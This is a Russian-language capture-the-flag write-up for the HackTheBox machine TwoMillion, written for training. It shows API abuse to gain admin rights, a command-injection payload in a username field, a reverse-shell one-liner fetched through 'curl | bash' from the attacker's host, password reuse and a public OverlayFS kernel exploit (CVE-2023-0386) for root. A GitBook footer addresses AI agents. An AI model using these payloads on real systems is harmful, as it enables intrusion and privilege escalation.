> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# Разбор TwoMillion на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**Навыки:**

* Злоупотребление API для генерации действительного кода приглашения
* Злоупотребление API для повышения наших привилегий до администратора
* Инъекция команд через плохо спроектированную функциональность API
* Утечка информации
* Повышение привилегий через эксплуатацию ядра (CVE-2023-0386) — уязвимость OverlayFS
  {% endhint %}

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/9f9323aa56b0025b35f4f9330038291c38e5aa85" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/6c01f2e2c041b976fb0ff922d19f213b74867b10" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="/files/c07d6952c6c9cfac15e4bc37d2b08ef1a0d547e4" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="/files/0f9baf0a872a82ed3d6e04952a7570f4f11ff613" alt=""><figcaption></figcaption></figure>

## Порт 80 - HTTP

<figure><img src="/files/c28c0aec4ccce23a935cd875af0c08a64e3de77b" alt=""><figcaption></figcaption></figure>

#### Поиск ресурсов с Gobuster

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="/files/1ea9c08f0f9f7f856ae859c27b881507490d201d" alt=""><figcaption></figcaption></figure>

#### Обнаружение `inviteapi.min.js` файл

Этот JavaScript-файл сильно обфусцирован с помощью классического `eval(function(p,a,c,k,e,d){...})` приёма. После деобфускации появляются две интересные функции:

* `verifyInviteCode(code)`: отправляет код приглашения на `/api/v1/invite/verify`
* `makeInviteCode()`: отправляет запрос на `/api/v1/invite/how/to/generate`

<figure><img src="/files/e82e6ff32bc9d163a58c932202590b860bbe0f35" alt=""><figcaption></figcaption></figure>

## Эксплуатация API — генерация кода приглашения

#### Первоначальный вызов:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

Ответ

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Данные зашифрованы ... Вероятно, нам следует проверить тип шифрования, чтобы расшифровать это..."}#

#### Расшифровка ROT13 → новый URL:

{% embed url="<https://rot13.com/>" %}

<figure><img src="/files/3da4b28c96946469cf6353c723d4b6d36d356d63" alt=""><figcaption></figcaption></figure>

Чтобы сгенерировать код приглашения, отправьте POST-запрос на /api/v1/invite/generate

#### Запрос:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="/files/3237bd9d119e23d4b4cd07e3bcda8bda62220d50" alt=""><figcaption></figcaption></figure>

Ответ (base64):

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

Декодирование:

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

Мы используем этот код, чтобы создать учётную запись на сайте.

<figure><img src="/files/74fe3c8d0e0174028a36e439fa345831eff7ea81" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eaefff19ebcd4a17384c30acca76a5c40c2af6fb" alt="" width="389"><figcaption></figcaption></figure>

## Эксплуатация API HackTheBox

<figure><img src="/files/4127ee1173685705f054abea966029f58e30b1af" alt=""><figcaption></figcaption></figure>

#### Наблюдение за API

Посетив `/api`, мы можем увидеть доступные маршруты.

<figure><img src="/files/af3e89886b5b05af94102b500c6f26def619d9d6" alt=""><figcaption></figcaption></figure>

#### Попытка сгенерировать VPN-конфигурацию (первоначальная неудача)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

Ответ: Не разрешено.

<figure><img src="/files/6392357770a6c0f62c67fd08778608a30767362a" alt=""><figcaption></figcaption></figure>

#### Изменение нашей роли через API

<figure><img src="/files/7b7ada4e9eb3d26dadaef817396d5b9f1fcae38f" alt=""><figcaption></figcaption></figure>

Мы тестируем изменение пользовательских настроек через маршрут:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"Отсутствует параметр: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"Отсутствует параметр: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> Ответ:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/1e5bca5b382d3fc60516e9d6cd002e52f397ae31" alt=""><figcaption></figcaption></figure>

#### Проверка нашего статуса администратора

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="/files/0134baaacf9eafb976d08c20b4c087dc9c0dcf2b" alt="" width="563"><figcaption></figcaption></figure>

### RCE через инъекцию команд

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="/files/7ffd35332f72cf2b3a06dd268b234d61ab784fba" alt=""><figcaption></figcaption></figure>

Попытка внедрить команду в поле `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="/files/160cc74ee6e43afb3c621baccbcc8215f03c49df" alt=""><figcaption></figcaption></figure>

#### Обратная оболочка

1. **Файловый сервер**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **Netcat слушает**

```bash
nc -nvlp 443
```

3. **Отправка команды**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

Мы получаем обратную оболочку

<figure><img src="/files/d2e4991c8704cef444b8f0c65ebf1b4163841345" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

#### Обнаружение конфиденциальных файлов

Ища файлы, доступные из нашей оболочки, мы обнаруживаем скрытый `.env` файл, содержащий учётные данные для базы данных:

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="/files/82f7fd5f5eedf73279a48d7a18d2b3ae9ba6744e" alt=""><figcaption></figcaption></figure>

Мы также замечаем наличие второго пользователя по имени `admin`.

<figure><img src="/files/36d4cae15bde358a4d2b652c8978e2f80abd2790" alt=""><figcaption></figcaption></figure>

#### Повторное использование пароля

Проверив найденные учётные данные, мы видим, что системный пользователь `admin` использует **тот же пароль** что и пароль базы данных.

### Флаг user.txt :)

<figure><img src="/files/ac55268ef006243732a29890f5c93a6efcfcea1f" alt=""><figcaption></figcaption></figure>

Эта плохая практика позволяет нам получить **Подключение по SSH**:

#### системную почту

<figure><img src="/files/5906dfeab9746b545deb538b7ce2db6ed3db26a9" alt=""><figcaption></figcaption></figure>

При подключении сообщение информирует нас о наличии **нового письма**. Прочитав его, мы получаем важную информацию:

> Эй, админ,
>
> Я знаю, что ты работаешь так быстро, как можешь, над миграцией БД. Пока у нас частичный простой, не мог бы ты ещё обновить ОС на нашем веб-хостинге? Уже было несколько серьёзных CVE в ядре Linux в этом году. Та уязвимость в OverlayFS / FUSE выглядит жутко. Мы не можем допустить из-за неё взлома.

<figure><img src="/files/d4aaf616bd8f779799824ce5264d5c08b7545338" alt=""><figcaption></figcaption></figure>

Это сообщение выводит нас на след **известной уязвимости в OverlayFS**:/ **CVE-2023-0386** — уязвимость локального повышения привилегий в ядре Linux.

## Эксплуатация CVE-2023-0386 — повышение привилегий через OverlayFS

> OverlayFS позволяет накладывать файловые системы. В некоторых версиях ядра Linux плохое управление ресурсами позволяет непривилегированному пользователю выполнять код с **правами root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Порядок действий**

1. **Клонируйте эксплойт** на нашей локальной машине:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Передайте скомпилированные файлы** на целевую машину (`scp`, `python -m http.server`, и т. д.).

<figure><img src="/files/4075cc5b36b824223190b21394e6f93a56d7ca3e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/93f0cd15ab765ca8ebcce8edafb9a3b6a9c3acd2" alt=""><figcaption></figcaption></figure>

2. **На целевой машине**, запустите в **двух терминалах**:

* Терминал A:

```bash
./fuse ./ovlcap/lower ./gc
```

* Терминал B:

```bash
./exp
```

Если всё пройдёт успешно, мы получаем **root** оболочку

<figure><img src="/files/48c075dc2c5cf624ccfd22c2adcb897c44c33dfb" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/5aadefaa03924e6974aa095820ed6d6c798be836" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/187549eb69b2aa7a900c9dcf50b2d65d9c0eb839" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
